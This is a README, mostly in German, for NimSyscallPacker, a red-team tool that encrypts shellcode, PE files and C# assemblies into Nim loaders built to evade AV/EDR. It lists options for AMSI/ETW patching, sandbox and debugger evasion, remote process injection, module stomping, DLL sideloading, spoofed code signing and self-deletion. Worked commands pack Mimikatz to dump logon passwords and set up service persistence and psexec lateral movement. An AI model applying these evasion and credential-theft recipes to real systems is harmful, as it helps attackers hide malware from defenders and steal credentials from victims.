s3cur3th1ssh1t/nimsyscallpackerPackt C#-Assemblies, PE-Dateien oder Shellcode in verschlüsselte Nim-Binärdateien mit erweiterten Verschleierungsfunktionen, einschließlich AMSI/ETW-Bypass, Sandbox-Erkennung und mehreren Injektionstechniken für Red-Team-Operationen.
Dieses Tool wurde nach einem Vortrag auf der x33fcon veröffentlicht. Es war mein privates Hauptprojekt von 2021 - 2024 und gilt nun als veraltet und wird nicht mehr gewartet. Erwarten Sie hier keine Fehlerbehebungen oder Feature-Updates von meiner Seite. Stattdessen wird RustPack nun als kommerzielle und kontrollierte Version für geprüfte Red Teams und Pentester weiterentwickelt, die noch mehr Funktionen bietet und gleichzeitig viel OPSec-sicherer ist.
Dieser Packer kann verwendet werden, um jede C#-Assembly, PE-Datei oder Shellcode in ein Nim-Binary zu packen. Er verschlüsselt die Ziel-Payload, erstellt den entsprechenden Nim-Quellcode gemäß den angegebenen Argumenten und kompiliert ihn zu einem Nim-Binary.
Ein Video – falls gewünscht – finden Sie hier: https://youtu.be/0PwIn3Nxmgo
Git muss installiert sein, damit Nim/Nimble ordnungsgemäß funktioniert.
Getestet mit Nim 2.2.10 und dem MinGW-w64 GCC 11.1.0-Bundle, das auf der Nim-Windows-Downloadseite verlinkt ist. Neuere Nim-Versionen verwenden standardmäßig eine hohe PE-Image-Basis unter Windows, was -static-Links mit relocation truncated to fit: R_X86_64_32S against .bss bricht; der Packer erzwingt jetzt -Wl,--image-base=0x10000, um statische Builds funktionsfähig zu halten, daher sollte jeder MinGW-w64-11.x-Build funktionieren. Nur x64 wird hier unterstützt – x86/--x86/--wow64 wird nicht gewartet.
nim-2.2.10_x64.zipmingw64.7z (verlinkt auf der Nim-Windows-Installationsseite)Expand-Archive – es lässt lib\system.nim aufgrund der Namensgleichheit mit dem Verzeichnis lib\system\ stillschweigend aus). Das Nim-Zip enthält bin\7zG.exe, mit dem Sie MinGW extrahieren können.<nim>\bin und <mingw64>\bin zu Ihrer %PATH%-Umgebungsvariable hinzu. Abmelden/Anmelden (oder Shell neustarten), damit die Änderung wirksam wird.Bekannte funktionierende Versionen (Stand Nim 2.2.10): nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — das Repo hat keine getaggten Releases).
Wenn Sie den LLVM-Obfuscator unter Windows verwenden möchten, verwenden Sie die eingebettete modifizierte Denim-Version von denim. Installieren Sie es via denim\denim.exe setup.
Z. B. auf Kali / Debian. Der Packer erforderte historisch nim 1.6.8 + mingw-64 8.0.0-1; mit der jetzt integrierten statischen Linkumgehung --image-base=0x10000 sollten neuere Toolchains ebenfalls funktionieren. Der Windows-Build wird aktiv getestet – Linux ist auf Best-Effort-Basis.```bash
apt-get install nim mingw-w64
nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
Falls `--hellsgate` auf einem neueren mingw-w64 nicht assembliert werden kann, auf `mingw-64=8.0.0-1` downgraden.
Installiere donut via `pip3 install donut-shellcode`. `denim` kann nicht von Unix aus verwendet werden, daher ist eine Obfuskation via LLVM hier nicht möglich. Gleiches gilt für Callobfuscator.
Kompiliere den Packer via `nim c -d:noRES NimSyscallLoader.nim`. Fertig. Wenn du nicht `-d:noRES` verwendest, erhältst du möglicherweise den folgenden Fehler:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.
Muss einmal gebaut werden (dauert beim ersten Mal etwas, spätere Builds werden zwischengespeichert).
sudo docker build . -t nimsyscallloader
Dann führen Sie den Packer aus mit:
sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe
wobei $(pwd) das Verzeichnis auf dem Host-System ist, das mit dem Container geteilt wird, d.h. das Verzeichnis, in dem die zu verschlüsselnden Dateien liegen sollen und in dem die Ausgabe gespeichert wird.
Wenn Sie Code-Signing-Zertifikate über LimeLighter nutzen möchten, benötigen Sie außerdem die folgenden installierten Dinge in Ihrem %PATH%: openssl - (für Windows) zum Beispiel von hier osslsigncode - zum Beispiel von hier
Ich werde keinen Support für Probleme in den hier verwendeten Drittanbieter-Tools geben. Bitte eröffnen Sie daher ein Issue in den entsprechenden Repositories, wenn Sie Probleme damit haben. Verwendete Drittanbieter-Tools:
Sie können entweder meine vorkompilierten Binärdateien verwenden oder sie natürlich selbst aus den obigen Links kompilieren.
Ein Video - falls Sie das bevorzugen - finden Sie hier: https://youtu.be/UHaIgdzqHDA
Ich habe auch kurze Videos für einige Funktionen hinzugefügt, da dies gewünscht wurde:
Caro-Kann:
ThreadlessInject Feature:
Module Stomping Feature:
shellcodeURL Feature:
stegoFile Feature:
shellcodeFile Feature:
Ruy Lopez für lokale Prozesse
Shellcode Output Format
Assembly Output Feature
Und ich habe ein öffentliches Video erstellt, das zeigt, wie man die ThreadlessInject-Technik an andere Prozesse als den Standard anpassen kann:
https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2
Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version
Options:
[general]
-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded
[Payload retrieval options]
By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from
[DLL options]
--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable
[evasion]
--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)
[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]
--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique
[shellcode specific]
--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.
[PE Packing]
--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE
[C# assembly Packing]
--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace
Standardmäßig verwendet der Packer für jede Nutzlast SandBox-Evasion und AntiDebug-Funktionen. Wenn Sie diese nicht aktiviert haben möchten (z.B. um ihre IoCs zu entfernen) oder aus einem anderen Grund, können Sie die Flags `--noAntidebug` oder `--noDefaultSandBox` verwenden. Alle anderen SandBox-Prüfungen aus den Optionen werden zusätzlich zu den vorhandenen hinzugefügt und nicht als Ersatz.
Alle Nutzlasten werden standardmäßig in einem `RX`-Speicherbereich ausgeführt. Einige Nutzlasten funktionieren nur mit `READ_EXECUTE` nicht. Um stattdessen `RWX` zu verwenden, können Sie dies mit dem Flag `--RWX` aktivieren.
Standardmäßig werden Nutzlasten auch als verschlüsseltes Array in der resultierenden Binärdatei eingebettet. Dies führt zu hoher Entropie und kann dadurch auch zu Erkennungen durch einige AV/EDR-Anbieter führen. Ich empfehle stattdessen `--shellcodeFile` oder `--shellcodeURL` zu verwenden, um die Nutzlast zur Laufzeit von einer anderen Datei oder einem Webserver abzurufen. Dies hat als Nebeneffekt auch eine SandBox-Evasion zur Folge. Zum Beispiel bei Verwendung von:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
Wenn Sie es nicht eilig haben, kann ich auch empfehlen, die Optionen `--sleep numberOfSeconds` und/oder `--sleep-in-between numberOfSeconds` für jedes Payload zu verwenden, da dies zu einer Umgehung von memory Scan und/oder verhaltensbasierter Erkennung führen kann.
Um Mimikatz zum Beispiel mit Unhooking vor der Ausführung zu packen, ohne AMSI zu umgehen, verwenden Sie Folgendes:```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject
Einige von Ihnen hatten Probleme beim Laden von Mimikatz mit dem Packer über die Argumente --file=Mimikatz --peload, um anschließend benutzerdefinierte Befehle zur Laufzeit auszuführen.
Ich habe den Grund für dieses Verhalten gefunden. Frag mich nicht warum, aber du kannst nicht einfach die Version von Github nehmen, sondern musst Mimikatz selbst kompilieren (oder eine benutzerdefinierte Version erstellen) und diese anstelle der offiziellen Version laden. Verwende außerdem --noAntidebug für Mimikatz, da es sonst zu seltsamen Ergebnissen kommt (frag mich nicht warum, andere PEs werden einwandfrei geladen).
Wenn du dennoch die Release-Version von Github einbetten möchtest, kannst du Argumente direkt wie folgt übergeben:```batch Packedmimikatz.exe coffee exit
Sie können auch Argumente für `--peload`, `--csharp` oder `--peinject` Payloads hartcodieren, z.B. würde das Folgende die Befehlszeilenargumente auf `privilege::debug sekurlsa::logonpasswords exit` patchen:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug
Donut-Shellcode wird von einigen AV/EDR-Anbietern erkannt. Als Alternative zum PE-Laden habe ich mein Nim-RunPE modifiziert, um Syscalls für das PE-Laden zu verwenden, und es hier integriert:
Um beispielsweise Mimikatz zu packen und via Syscall-PE-Lader zu laden, verwenden Sie Folgendes:```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)
Um Shellcode für lokale Injektion zu packen:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI
Um Shellcode in einen entfernten Prozess zu laden:```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe
Um eine C# assembly zu laden:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp
Um eine C# assembly mit Argumenten zu laden:```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'
Um eine C#-Assembly zu laden und hellsgate für den Syscall-Abruf zu verwenden :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate
Um Shellcode für lokale Injektion + hellsgate usage + self-delete + sandbox checks zu packen:```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace
Um mehrere tausend englische Wörter hinzuzufügen, um "Maschinelles Lernen"-Erkennungen zu umgehen:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words
Um Syswhispers3 mit/ohne die jumper_randomized-Technik zu verwenden:```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump
Um Shellcode mit sgn vor dem Verschlüsseln zu codieren:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn
Um einen benutzerdefinierten Prozess zu starten und danach in diesen zu injizieren + AMSI/ETW im entfernten Prozess zu patchen:```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW
Um eine DLL statt einer ausführbaren Datei zu generieren, fügen Sie einfach den Parameter `--dll` hinzu. Sie können auch benutzerdefinierte Exportfunktionen über `--dllexportfunc Export1,ExportFunc2` definieren. Diese benutzerdefinierten Exporte können auch für DLL-Sideloading verwendet werden.
LLVM-Beschreibung entnommen von [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) – ich habe dies selbst noch nicht getestet!
**OPTIONAL:** Um das [Obfuscator-LLVM](https://github.com/heroims/obfuscator)-Flag zu verwenden, müssen Sie es zusammen mit [wclang](https://github.com/tpoechtrager/wclang) auf Ihrem System installiert haben. Ich fand das etwas mühsam, aber mit ein wenig Ausdauer sollte es machbar sein. Hier eine kurze Schritt-für-Schritt-Anleitung, die auf meinem Kali-Linux-System funktioniert hat:
1. Klonen Sie die gewünschte Version von Obfuscator-LLVM und bauen Sie sie
2. Sobald kompiliert, sichern Sie die vorhandene Version von clang und verschieben Sie die neue Obfuscator-LLVM-Version von clang nach /usr/bin/
3. Installieren Sie wclang und fügen Sie dessen Binärdateien zu Ihrem PATH hinzu
4. Sichern Sie vorhandene clang-Bibliotheksdateien und kopieren Sie die neu erstellten Obfuscator-LLVM-Bibliotheksincludes nach /usr/lib/clang/OLD_VERSION/
Zusätzlich müssen Sie die folgenden Zeilen zu Ihrer `nim.cfg`-Datei hinzufügen, um nim auf Ihre wclang-Binärdateien zu verweisen:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"
Service-Binärdateien werden nicht spontan ausgeführt. Sie können nur für Windows-Dienste verwendet werden. Wenn Sie also eine Service-Binärdatei mit --service kompilieren, müssen Sie einen neuen Dienst mit dem Pfad dieser Binärdatei erstellen. Dies kann zum Beispiel folgendermaßen erfolgen:```batch
sc.exe create Updater binpath="C:\windows\system32\service.exe"
sc.exe start Updater
Die Packer-Binärdateien können auch für impacket-psexec Lateral Movement verwendet werden:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement
Service DLLs benötigen zusätzliche Konfigurationen. Sie können den folgenden Blog lesen und benötigen einige Registry-Änderungen:```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f
Zusätzlich muss der Wert `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` angepasst werden, um auch Ihren Dienstnamen zu enthalten.
Wenn Sie beim Start des Dienstes ERROR 1053 erhalten, haben Sie höchstwahrscheinlich den letzten Eintrag vergessen.
### Umgang mit Golang-Binärdateien mit dem Packer
Meine benutzerdefinierte `Nim-RUNPE`-Implementierung kann derzeit leider keine GoLang-Binärdateien verarbeiten. Das ist ein seltsamer Bug in Nim, ich muss irgendwann tiefer untersuchen. Definitiv ein Kaninchenbau, habe schon viel Zeit investiert.
Für den Moment als Workaround können Sie `--peinject --large` verwenden, um Shellcode aus der Golang-Binärdatei zu generieren, um diese entweder lokal als ausführbare Datei oder DLL auszuführen.
Beispiel:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe
or
NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll
Sie müssen beim Verwenden einer DLL fest codierte Argumente übergeben, da PEInject-DLLs keine Argumente vom Zielhost akzeptieren. Remote-Injection ist ebenfalls möglich, aber Argumente können hier nicht fest codiert werden.
Defender erkennt derzeit Golang Packed Binaries, ziemlich sicher aufgrund der sehr hohen Entropie (große Payloads, sodass die Binärdatei zu 95 % oder mehr verschlüsselten Inhalt enthält). Um diese Erkennungen zu vermeiden, verwenden Sie entweder eine DLL oder --pump mit einem beliebigen Wert.
Sie können DLL-Sideloading-fähige Payloads mit dem Flag --clone DLLName generieren.
Das folgende Beispiel würde eine version.dll mit den API-Exports der ursprünglichen Windows-version.dll generieren:```batch
NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll
Dies könnte für verschiedene legitime signierte Binärdateien zum Sideloading verwendet werden, wie z. B. `OneDriveUpdater.exe`, `slllauncher.exe` und weitere. Einige Punkte sind wichtig zu beachten und du solltest selbst darauf achten:
* Die Verwendung von Shellcode mit Exitfunction=Process führt höchstwahrscheinlich zu einem Absturz der Host-Binärdatei
* Die Verwendung lokaler Injektion führt dazu, dass die Binärdatei nicht startet, da die DLL die Ausführung für C2-Payloads nicht abschließt
* Es gibt derzeit einen Fehler oder ein Problem mit C#-Payloads und Nim-Sideloading. Diese Payloads werden einfach nicht ausgeführt, wenn sie lokal ausgeführt werden (`--csharp` oder `--peinject`), muss ich untersuchen
* Ich kann nicht empfehlen, Nim DLL-Sideloading-Payloads mit Teams.exe zu verwenden – hatte hier seltsame Verhaltensweisen bei bestimmten DLLs und Teams startete in vielen Fällen nicht mehr. Es wird inzwischen auch von vielen EDR-Anbietern erkannt
* TESTE deine Payloads, bevor du sie verwendest.
Nimm dir Zeit, um nach benutzerdefinierten Sideloading-Binärdateien zu suchen, oder verwende einige der bekannten dokumentierten von einer Seite wie [https://hijacklibs.net/](https://hijacklibs.net/).
### Custom Images or meta data
Wenn du benutzerdefinierte Symbole für deine Loader-Executables oder benutzerdefinierte Metadaten verwenden möchtest, solltest du die Datei `cmd.rc` im Ressourcenordner ändern.
Diese kann mit `windres cmd.rc -o cmd.o` zu einer `cmd.o`-Datei kompiliert werden. Du kannst auch einfach die Datei `demo.ico` durch eine beliebige andere ICON-Datei ersetzen, die du verwenden möchtest.
Für DLL-Metadaten kannst du `DLL.rc` ändern.
### Other Entropy detections or alternative SandBox Evasion
Einige Anbieter, wie z. B. ESET, markieren Binärdateien/DLLs aufgrund des verschlüsselten Payloads, der als Blob mit hoher Entropie in der Binärdatei enthalten ist. Diese Art von Erkennungen und/oder Sandbox-Prüfungen können mit den Flags `--shellcodeFile` oder `--shellcodeURL` umgangen werden, da der Payload dann nicht mehr in der resultierenden Binärdatei eingebettet ist, sondern aus einer separaten Datei oder von einem entfernten Webserver geladen wird.
### ThreadlessInject - stuff to care for
Wenn du ThreadlessInject verwenden möchtest – solltest du wissen, was du tust. Da es eine API im entfernten Prozess hookt, muss diese Technik für jeden anderen entfernten Prozess angepasst werden. Du musst zuerst wissen, welche APIs typischerweise regelmäßig vom entfernten Prozess aufgerufen werden, um zu wissen, was gehooked werden soll. Du kannst dies beispielsweise für gängige Windows-Prozesse mit [API Monitor](http://www.rohitab.com/apimonitor) überwachen. Passe den Hook an deinen Zielprozess an, sonst wird der Payload nicht ausgeführt.
Die Standardwerte sind nur für das eingebaute Spawn/Inject `rundll32.exe`-Ziel nützlich, da dieser Prozess regelmäßig `NtWaitForMultipleObjects` aus `ntdll.dll` aufruft. Andere Prozesse rufen diese Funktion ebenfalls auf, aber die Empfehlung hier ist, die Optionen an deinen Zielprozess anzupassen.
### Module Stomping - stuff to care for
Module Stomping gibt uns den Vorteil, dass wir keinen Speicher mehr für die Shellcode-Injektion allozieren müssen, da wir (einen Teil) der `.text`-Sektion einer bereits geladenen DLL überschreiben. Wenn die DLL im entfernten Zielprozess noch nicht geladen war, wird sie zuerst über das Erstellen eines remote Threads auf `LoadLibrary` oder bei Verwendung von ThreadlessInject über einen Hook, der auf benutzerdefinierten LoadLibrary-Shellcode zeigt, zwangsgeladen. Standardmäßig wird die DLL `chakra.dll` für Stomping verwendet, was aufgrund ihrer Größe in den meisten Fällen geeignet ist. Du kannst die DLL jedoch nach Belieben über Packer-Parameter ändern.
Um CFG zu vermeiden, überschreibt die aktuelle Implementierung einen (oder bei aktiviertem Caro-Kann zwei) DLL-Einstiegspunkte:
- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`
Wenn du die DLL änderst, musst du auch die Zielfunktionsnamen ändern, da sie möglicherweise auf anderen DLLs nicht vorhanden sind. Außerdem könnte es ein Problem geben, wenn entweder
1. Nicht genügend Platz im `.text`-Abschnitt der Ziel-DLL für dein Shellcode vorhanden ist
2. Nicht genügend Platz zwischen den beiden Funktionen im `.text`-Abschnitt vorhanden ist, sodass die erste von der zweiten überschrieben wird
Mein Code behandelt diese Situationen nicht und prüft derzeit nicht darauf. Du solltest daher die Größen und Offsets überprüfen, bevor du es in der Produktion verwendest, um sicherzugehen.
Auch wenn es für einige offensichtlich sein mag: Server verwenden andere DLLs als Clients. Der Loader/das Tool muss daher angepasst werden, wenn Server als Ziel verwendet werden.
Diese Module Stomping-Implementierung lädt die DLL **nicht** über `LoadLibraryEx` mit `DONT_RESOLVE_DLL_REFERENCES`. Dies ist der instabilere Weg, aber ich habe es dennoch so implementiert, um EDR-Erkennungen für bestimmte IoCs aus dieser API-Nutzung zu vermeiden.
Weitere Informationen findest du in diesem Blogbeitrag:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)
